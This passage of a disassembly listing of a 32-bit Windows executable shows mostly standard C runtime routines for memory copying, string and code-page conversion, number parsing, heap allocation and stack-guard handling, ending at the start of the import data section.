; seg000:0040426Fj ... mov eax, ds:dword_407504 cmp eax, 2 jz loc_40437E cmp eax, esi jz loc_40437E cmp eax, 1 jnz loc_4043A4 mov [ebp-24h], esi mov [ebp-20h], esi cmp [ebp+18h], esi jnz short loc_4042B8 mov eax, ds:dword_4074F8 mov [ebp+18h], eax loc_4042B8: ; CODE XREF: seg000:004042AEj push esi push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] xor eax, eax cmp [ebp+20h], esi setnz al lea eax, ds:1[eax*8] push eax push dword ptr [ebp+18h] call ds:dword_4050B8 ; MultiByteToWideChar mov edi, eax mov [ebp-28h], edi test edi, edi jz loc_4043A4 and dword ptr [ebp-4], 0 lea ebx, [edi+edi] mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_401FD0 mov [ebp-18h], esp mov esi, esp mov [ebp-2Ch], esi push ebx push 0 push esi call sub_404750 add esp, 0Ch or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_404329 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] call sub_4049BC xor esi, esi or dword ptr [ebp-4], 0FFFFFFFFh mov edi, [ebp-28h] loc_404329: ; CODE XREF: seg000:00404312j test esi, esi jnz short loc_404344 push edi push 2 call sub_404A9F pop ecx pop ecx mov esi, eax test esi, esi jz short loc_4043A4 mov dword ptr [ebp-20h], 1 loc_404344: ; CODE XREF: seg000:0040432Bj push edi push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 1 push dword ptr [ebp+18h] call ds:dword_4050B8 ; MultiByteToWideChar test eax, eax jz short loc_40436C push dword ptr [ebp+14h] push eax push esi push dword ptr [ebp+8] call ds:dword_4050C4 ; GetStringTypeW mov [ebp-24h], eax loc_40436C: ; CODE XREF: seg000:00404359j cmp dword ptr [ebp-20h], 0 jz short loc_404379 push esi call sub_4028F6 pop ecx loc_404379: ; CODE XREF: seg000:00404370j mov eax, [ebp-24h] jmp short loc_4043EC ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: seg000:0040428Ej ; seg000:00404296j mov ebx, [ebp+1Ch] cmp ebx, esi jnz short loc_40438B mov ebx, ds:dword_4074E8 loc_40438B: ; CODE XREF: seg000:00404383j mov edi, [ebp+18h] test edi, edi jnz short loc_404398 mov edi, ds:dword_4074F8 loc_404398: ; CODE XREF: seg000:00404390j push ebx call sub_4047B0 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_4043A8 loc_4043A4: ; CODE XREF: seg000:0040429Fj ; seg000:004042E0j ... xor eax, eax jmp short loc_4043EC ; --------------------------------------------------------------------------- loc_4043A8: ; CODE XREF: seg000:004043A2j cmp eax, edi jz short loc_4043CA push 0 push 0 lea ecx, [ebp+10h] push ecx push dword ptr [ebp+0Ch] push eax push edi call sub_4047F3 ; --------------------------------------------------------------------------- add esp, 18h mov esi, eax test esi, esi jz short loc_4043A4 mov [ebp+0Ch], esi loc_4043CA: ; CODE XREF: seg000:004043AAj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push ebx call near ptr 0CF0004h pop eax mov edi, eax test esi, esi jz short loc_4043EA push esi call sub_4028F6 pop ecx loc_4043EA: ; CODE XREF: seg000:004043E1j mov eax, edi loc_4043EC: ; CODE XREF: seg000:0040437Cj ; seg000:004043A6j lea esp, [ebp-38h] call sub_401EB3 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4043F5 proc near ; CODE XREF: seg000:00402993p ; sub_403B37+113p ... arg_0 = dword ptr 4 mov eax, ds:dword_407508 test eax, eax jz short loc_40440D push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_40440D xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40440D: ; CODE XREF: sub_4043F5+7j ; sub_4043F5+12j xor eax, eax retn sub_4043F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404410 proc near ; CODE XREF: sub_402D70+2DEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_404430 cmp edi, eax jb loc_4045AC loc_404430: ; CODE XREF: sub_404410+16j test edi, 3 jnz short loc_40444C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40446C rep movsd jmp ds:off_40455C[edx*4] ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_404410+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_404464 and eax, 3 add ecx, eax jmp dword ptr ds:loc_40446C+4[eax*4] ; --------------------------------------------------------------------------- loc_404464: ; CODE XREF: sub_404410+46j jmp dword ptr ds:loc_40456C[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40446C: ; CODE XREF: sub_404410+31j ; sub_404410+8Ej ... jmp ds:off_4044F0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404480 dd offset loc_4044AC ; --------------------------------------------------------------------------- rol byte ptr [eax+eax*2+0], 1 loc_404480: ; DATA XREF: sub_404410+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40446C rep movsd jmp ds:off_40455C[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4044AC: ; DATA XREF: sub_404410+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40446C rep movsd jmp ds:off_40455C[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_40446C rep movsd jmp ds:off_40455C[edx*4] ; --------------------------------------------------------------------------- align 10h off_4044F0 dd offset loc_404553 ; DATA XREF: sub_404410:loc_40446Cr dd offset loc_404540 dd offset loc_404538 dd offset loc_404530 dd offset loc_404528 dd offset loc_404520 dd offset loc_404518 dd offset loc_404510 ; --------------------------------------------------------------------------- loc_404510: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_404518: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_404520: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_404528: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_404530: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_404538: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_404540: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_404553: ; CODE XREF: sub_404410:loc_40446Cj ; DATA XREF: sub_404410:off_4044F0o jmp ds:off_40455C[edx*4] ; --------------------------------------------------------------------------- align 4 off_40455C dd offset loc_40456C ; DATA XREF: sub_404410+35r ; sub_404410+92r ... dd offset loc_404574 dd offset loc_404580 dd offset loc_404594 ; --------------------------------------------------------------------------- loc_40456C: ; CODE XREF: sub_404410+35j ; sub_404410+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404574: ; CODE XREF: sub_404410+35j ; sub_404410+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404580: ; CODE XREF: sub_404410+35j ; sub_404410+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404594: ; CODE XREF: sub_404410+35j ; sub_404410+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4045AC: ; CODE XREF: sub_404410+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4045E0 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4045D4 std rep movsd cld jmp ds:off_4046F8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4045D4: ; CODE XREF: sub_404410+1B5j ; sub_404410+210j ... neg ecx jmp ds:off_4046A8[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_4045E0: ; CODE XREF: sub_404410+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4045F8 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_4045F8+4[eax*4] ; --------------------------------------------------------------------------- loc_4045F8: ; CODE XREF: sub_404410+1DAj ; DATA XREF: sub_404410+1E1r jmp ds:off_4046F8[ecx*4] ; --------------------------------------------------------------------------- align 10h or al, 46h inc eax add [eax], dh inc esi inc eax add [eax+46h], bl inc eax add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_4045D4 std rep movsd cld jmp ds:off_4046F8[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4045D4 std rep movsd cld jmp ds:off_4046F8[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4045D4 std rep movsd cld jmp ds:off_4046F8[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4046AC dd offset loc_4046B4 dd offset loc_4046BC dd offset loc_4046C4 dd offset loc_4046CC dd offset loc_4046D4 dd offset loc_4046DC off_4046A8 dd offset loc_4046EF ; DATA XREF: sub_404410+1C6r ; --------------------------------------------------------------------------- loc_4046AC: ; DATA XREF: sub_404410+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4046B4: ; DATA XREF: sub_404410+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_4046BC: ; DATA XREF: sub_404410+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_4046C4: ; DATA XREF: sub_404410+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4046CC: ; DATA XREF: sub_404410+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4046D4: ; DATA XREF: sub_404410+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4046DC: ; DATA XREF: sub_404410+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4046EF: ; CODE XREF: sub_404410+1C6j ; DATA XREF: sub_404410:off_4046A8o jmp ds:off_4046F8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4046F8 dd offset loc_404708 ; DATA XREF: sub_404410+1BBr ; sub_404410:loc_4045F8r ... dd offset loc_404710 dd offset loc_404720 dd offset loc_404734 ; --------------------------------------------------------------------------- loc_404708: ; CODE XREF: sub_404410+1BBj ; sub_404410:loc_4045F8j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404710: ; CODE XREF: sub_404410+1BBj ; sub_404410:loc_4045F8j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404720: ; CODE XREF: sub_404410+1BBj ; sub_404410:loc_4045F8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404734: ; CODE XREF: sub_404410+1BBj ; sub_404410:loc_4045F8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_404410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_404750 proc near ; CODE XREF: seg000:00404306p ; seg000:004048B7p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4047AB xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_40479B neg ecx and ecx, 3 jz short loc_40477D sub edx, ecx loc_404773: ; CODE XREF: sub_404750+2Bj mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_404773 loc_40477D: ; CODE XREF: sub_404750+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_40479B rep stosd test edx, edx jz short loc_4047A5 loc_40479B: ; CODE XREF: sub_404750+18j ; sub_404750+43j ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_40479B loc_4047A5: ; CODE XREF: sub_404750+49j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4047AB: ; CODE XREF: sub_404750+Aj mov eax, [esp+arg_0] retn sub_404750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047B0 proc near ; CODE XREF: sub_403E7F+27Dp ; seg000:00404399p var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, ds:dword_4071C0 push 6 mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call ds:dword_4050C8 ; GetLocaleInfoA test eax, eax jnz short loc_4047DF or eax, 0FFFFFFFFh jmp short loc_4047E9 ; --------------------------------------------------------------------------- loc_4047DF: ; CODE XREF: sub_4047B0+28j lea eax, [ebp+var_C] push eax call sub_404B1A pop ecx loc_4047E9: ; CODE XREF: sub_4047B0+2Dj mov ecx, [ebp+var_4] call sub_4024BC leave retn sub_4047B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4047F3 proc near ; CODE XREF: sub_403E7F+2A8p ; seg000:004043B9p push 38h push offset dword_405CC8 call sub_401E78 sub_4047F3 endp ; --------------------------------------------------------------------------- mov eax, ds:dword_4071C0 mov [ebp-1Ch], eax xor edi, edi mov [ebp-34h], edi mov [ebp-44h], edi mov eax, [ebp+14h] mov ebx, [eax] mov [ebp-40h], ebx mov [ebp-3Ch], edi mov eax, [ebp+8] cmp eax, [ebp+0Ch] jz loc_404999 lea ecx, [ebp-30h] push ecx push eax mov esi, ds:dword_405080 call esi ; GetCPInfo test eax, eax jz short loc_404857 cmp dword ptr [ebp-30h], 1 jnz short loc_404857 lea eax, [ebp-30h] push eax push dword ptr [ebp+0Ch] call esi ; GetCPInfo test eax, eax jz short loc_404857 cmp dword ptr [ebp-30h], 1 jnz short loc_404857 mov dword ptr [ebp-3Ch], 1 loc_404857: ; CODE XREF: seg000:00404835j ; seg000:0040483Bj ... cmp [ebp-3Ch], edi jz short loc_404876 cmp ebx, 0FFFFFFFFh jz short loc_404865 mov esi, ebx jmp short loc_404871 ; --------------------------------------------------------------------------- loc_404865: ; CODE XREF: seg000:0040485Fj push dword ptr [ebp+10h] call sub_402400 pop ecx mov esi, eax inc esi loc_404871: ; CODE XREF: seg000:00404863j mov [ebp-38h], esi jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404876: ; CODE XREF: seg000:0040485Aj mov esi, [ebp-38h] loc_404879: ; CODE XREF: seg000:00404874j cmp [ebp-3Ch], edi jnz short loc_404898 push edi push edi push ebx push dword ptr [ebp+10h] push 1 push dword ptr [ebp+8] call ds:dword_4050B8 ; MultiByteToWideChar mov esi, eax mov [ebp-38h], esi cmp esi, edi jz short loc_4048F0 loc_404898: ; CODE XREF: seg000:0040487Cj mov [ebp-4], edi lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_401FD0 mov [ebp-18h], esp mov ebx, esp mov [ebp-48h], ebx lea eax, [esi+esi] push eax push edi push ebx call sub_404750 add esp, 0Ch or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_4048DC ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] call sub_4049BC xor edi, edi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-38h] loc_4048DC: ; CODE XREF: seg000:004048C3j cmp ebx, edi jnz short loc_4048FE push esi push 2 call sub_404A9F pop ecx pop ecx mov ebx, eax cmp ebx, edi jnz short loc_4048F7 loc_4048F0: ; CODE XREF: seg000:00404896j xor eax, eax jmp loc_4049AB ; --------------------------------------------------------------------------- loc_4048F7: ; CODE XREF: seg000:004048EEj mov dword ptr [ebp-44h], 1 loc_4048FE: ; CODE XREF: seg000:004048DEj push esi push ebx push dword ptr [ebp-40h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+8] call ds:dword_4050B8 ; MultiByteToWideChar test eax, eax jz loc_40499C cmp [ebp+18h], edi jz short loc_40493E push edi push edi push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push esi push ebx push edi push dword ptr [ebp+0Ch] call ds:dword_405050 ; WideCharToMultiByte test eax, eax jz short loc_40499C mov eax, [ebp+18h] mov [ebp-34h], eax jmp short loc_40499C ; --------------------------------------------------------------------------- loc_40493E: ; CODE XREF: seg000:0040491Cj cmp [ebp-3Ch], edi jnz short loc_404959 push edi push edi push edi push edi push esi push ebx push edi push dword ptr [ebp+0Ch] call ds:dword_405050 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_40499C loc_404959: ; CODE XREF: seg000:00404941j push esi push 1 call sub_404A9F pop ecx pop ecx mov [ebp-34h], eax cmp eax, edi jz short loc_40499C push edi push edi push esi push eax push esi push ebx push edi push dword ptr [ebp+0Ch] call ds:dword_405050 ; WideCharToMultiByte cmp eax, edi jnz short loc_40498C push dword ptr [ebp-34h] call sub_4028F6 pop ecx mov [ebp-34h], edi jmp short loc_40499C ; --------------------------------------------------------------------------- loc_40498C: ; CODE XREF: seg000:0040497Cj cmp dword ptr [ebp-40h], 0FFFFFFFFh jz short loc_40499C mov ecx, [ebp+14h] mov [ecx], eax jmp short loc_40499C ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: seg000:00404820j mov ebx, [ebp-48h] loc_40499C: ; CODE XREF: seg000:00404913j ; seg000:00404934j ... cmp [ebp-44h], edi jz short loc_4049A8 push ebx call sub_4028F6 pop ecx loc_4049A8: ; CODE XREF: seg000:0040499Fj mov eax, [ebp-34h] loc_4049AB: ; CODE XREF: seg000:004048F2j lea esp, [ebp-54h] mov ecx, [ebp-1Ch] call sub_4024BC call sub_401EB3 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049BC proc near ; CODE XREF: sub_403E7F+FDp ; sub_403E7F+1CBp ... var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push 4 pop eax call sub_401FD0 mov esi, esp push 1Ch lea eax, [ebp+var_28] push eax push esi call ds:dword_405098 ; VirtualQuery test eax, eax jz short loc_404A57 mov ebx, [ebp+var_24] lea eax, [ebp+var_4C] push eax call ds:dword_4050D0 ; GetSystemInfo mov ecx, [ebp+var_48] mov eax, ds:dword_407318 lea edi, [ecx-1] not edi and edi, esi sub edi, ecx mov esi, eax dec esi neg esi sbb esi, esi and esi, 0FFFFFFF1h add esi, 11h imul esi, ecx add esi, ebx cmp edi, esi mov [ebp+var_8], ecx jb short loc_404A57 cmp eax, 1 jz short loc_404A78 mov [ebp+var_4], ebx mov ebx, 1000h loc_404A24: ; CODE XREF: sub_4049BC+84j push 1Ch lea eax, [ebp+var_28] push eax push [ebp+var_4] call ds:dword_405098 ; VirtualQuery test eax, eax jz short loc_404A57 mov eax, [ebp+var_1C] add [ebp+var_4], eax test [ebp+var_18], ebx jz short loc_404A24 test [ebp+var_13], 1 mov eax, [ebp+var_28] mov [ebp+var_4], eax jz short loc_404A53 xor eax, eax inc eax jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A53: ; CODE XREF: sub_4049BC+90j cmp edi, eax jnb short loc_404A5B loc_404A57: ; CODE XREF: sub_4049BC+22j ; sub_4049BC+59j ... xor eax, eax jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A5B: ; CODE XREF: sub_4049BC+99j cmp eax, esi jnb short loc_404A62 mov [ebp+var_4], esi loc_404A62: ; CODE XREF: sub_4049BC+A1j push 4 push ebx push [ebp+var_8] push [ebp+var_4] call ds:dword_405088 ; VirtualAlloc mov eax, ds:dword_407318 jmp short loc_404A7B ; --------------------------------------------------------------------------- loc_404A78: ; CODE XREF: sub_4049BC+5Ej mov [ebp+var_4], edi loc_404A7B: ; CODE XREF: sub_4049BC+BAj dec eax neg eax sbb eax, eax and eax, 103h lea ecx, [ebp+var_C] push ecx inc eax push eax push [ebp+var_8] push [ebp+var_4] call ds:dword_4050CC ; VirtualProtect loc_404A97: ; CODE XREF: sub_4049BC+95j ; sub_4049BC+9Dj lea esp, [ebp-58h] pop edi pop esi pop ebx leave retn sub_4049BC endp ; =============== S U B R O U T I N E ======================================= sub_404A9F proc near ; CODE XREF: seg000:00404330p ; seg000:004048E3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] imul esi, [esp+8+arg_4] test esi, esi push edi mov ebx, esi jnz short loc_404AB2 inc esi loc_404AB2: ; CODE XREF: sub_404A9F+10j ; sub_404A9F+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_404AF2 cmp ds:dword_407764, 3 jnz short loc_404ADD add esi, 0Fh and esi, 0FFFFFFF0h cmp ebx, ds:dword_40751C ja short loc_404ADD push ebx call sub_403524 mov edi, eax test edi, edi pop ecx jnz short loc_404B08 loc_404ADD: ; CODE XREF: sub_404A9F+21j ; sub_404A9F+2Fj push esi push 8 push ds:dword_407760 call ds:dword_405084 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_404B14 loc_404AF2: ; CODE XREF: sub_404A9F+18j cmp ds:dword_40750C, 0 jz short loc_404B14 push esi call sub_4043F5 test eax, eax pop ecx jnz short loc_404AB2 jmp short loc_404B16 ; --------------------------------------------------------------------------- loc_404B08: ; CODE XREF: sub_404A9F+3Cj push ebx push 0 push edi call sub_404750 add esp, 0Ch loc_404B14: ; CODE XREF: sub_404A9F+51j ; sub_404A9F+5Aj mov eax, edi loc_404B16: ; CODE XREF: sub_404A9F+67j pop edi pop esi pop ebx retn sub_404A9F endp ; =============== S U B R O U T I N E ======================================= sub_404B1A proc near ; CODE XREF: sub_4047B0+33p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] jmp short loc_404B22 ; --------------------------------------------------------------------------- loc_404B21: ; CODE XREF: sub_404B1A+14j inc esi loc_404B22: ; CODE XREF: sub_404B1A+5j movzx eax, byte ptr [esi] push eax call sub_404B72 test eax, eax pop ecx jnz short loc_404B21 movzx ecx, byte ptr [esi] inc esi cmp ecx, 2Dh mov edx, ecx jz short loc_404B40 cmp ecx, 2Bh jnz short loc_404B44 loc_404B40: ; CODE XREF: sub_404B1A+1Fj movzx ecx, byte ptr [esi] inc esi loc_404B44: ; CODE XREF: sub_404B1A+24j xor eax, eax loc_404B46: ; CODE XREF: sub_404B1A+4Dj cmp ecx, 30h jl short loc_404B55 cmp ecx, 39h jg short loc_404B55 sub ecx, 30h jmp short loc_404B58 ; --------------------------------------------------------------------------- loc_404B55: ; CODE XREF: sub_404B1A+2Fj ; sub_404B1A+34j or ecx, 0FFFFFFFFh loc_404B58: ; CODE XREF: sub_404B1A+39j cmp ecx, 0FFFFFFFFh jz short loc_404B69 lea eax, [eax+eax*4] lea eax, [ecx+eax*2] movzx ecx, byte ptr [esi] inc esi jmp short loc_404B46 ; --------------------------------------------------------------------------- loc_404B69: ; CODE XREF: sub_404B1A+41j cmp edx, 2Dh pop esi jnz short locret_404B71 neg eax locret_404B71: ; CODE XREF: sub_404B1A+53j retn sub_404B1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B72 proc near ; CODE XREF: sub_404B1A+Cp var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] cmp ecx, 0FFh jbe short loc_404BDF and [ebp+var_4], 0 push edi xor eax, eax lea edi, [ebp+var_2] stosw mov eax, ecx shr eax, 8 cmp ds:dword_407530, 0 mov byte ptr [ebp+arg_0+2], al mov byte ptr [ebp+arg_0+3], cl pop edi jnz short loc_404BA7 loc_404BA3: ; CODE XREF: sub_404B72+59j ; sub_404B72+60j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_404BA7: ; CODE XREF: sub_404B72+2Fj push 1 push ds:dword_40752C lea eax, [ebp+var_4] push ds:dword_407644 push eax push 2 lea eax, [ebp+arg_0+2] push eax push 1 call sub_40423B ; --------------------------------------------------------------------------- add esp, 1Ch test eax, eax jz short loc_404BA3 cmp [ebp+var_2], 0 jnz short loc_404BA3 test byte ptr [ebp+var_4], 8 jz short loc_404BA3 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_404BDF: ; CODE XREF: sub_404B72+Dj cmp ds:dword_4072E0, 1 jle short loc_404BF4 push 8 push ecx call sub_404C44 pop ecx pop ecx leave retn ; --------------------------------------------------------------------------- loc_404BF4: ; CODE XREF: sub_404B72+74j mov eax, ds:off_4072D0 movzx eax, byte ptr [eax+ecx*2] and eax, 8 leave retn sub_404B72 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_404C29 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_404C29: ; CODE XREF: seg000:00404C1Ej push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C44 proc near ; CODE XREF: sub_404B72+79p var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_404C62 mov ecx, ds:off_4072D0 movzx eax, word ptr [ecx+eax*2] jmp short loc_404CBD ; --------------------------------------------------------------------------- loc_404C62: ; CODE XREF: sub_404C44+10j mov ecx, eax sar ecx, 8 push esi mov esi, ds:off_4072D0 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_404C88 push 2 mov [ebp+var_3], al mov [ebp+var_4], cl mov [ebp+var_2], 0 pop eax jmp short loc_404C92 ; --------------------------------------------------------------------------- loc_404C88: ; CODE XREF: sub_404C44+33j mov [ebp+var_4], al xor eax, eax mov [ebp+var_3], 0 inc eax loc_404C92: ; CODE XREF: sub_404C44+42j push 1 push ds:dword_4074E8 lea ecx, [ebp+arg_0+2] push ds:dword_4074F8 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_40423B ; --------------------------------------------------------------------------- add esp, 1Ch test eax, eax jnz short loc_404CB9 leave retn ; --------------------------------------------------------------------------- loc_404CB9: ; CODE XREF: sub_404C44+71j movzx eax, word ptr [ebp+arg_0+2] loc_404CBD: ; CODE XREF: sub_404C44+1Cj and eax, [ebp+arg_4] leave retn sub_404C44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404CC2 proc near ; CODE XREF: sub_403820+13p jmp ds:dword_405090 sub_404CC2 endp ; --------------------------------------------------------------------------- align 400h seg000 ends ; Section 2. (virtual address 00005000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00005000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 405000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 77DD72F0h, 77DD59F0h, 0 dd 77E74672h, 77E7A099h, 77E645E4h, 77E79F93h, 77E6177Ah dd 77E7C938h, 77E7C657h dword_405028 dd 77E75CB5h ; DATA XREF: seg000:004024B5r dword_40502C dd 3A7574h ; DATA XREF: 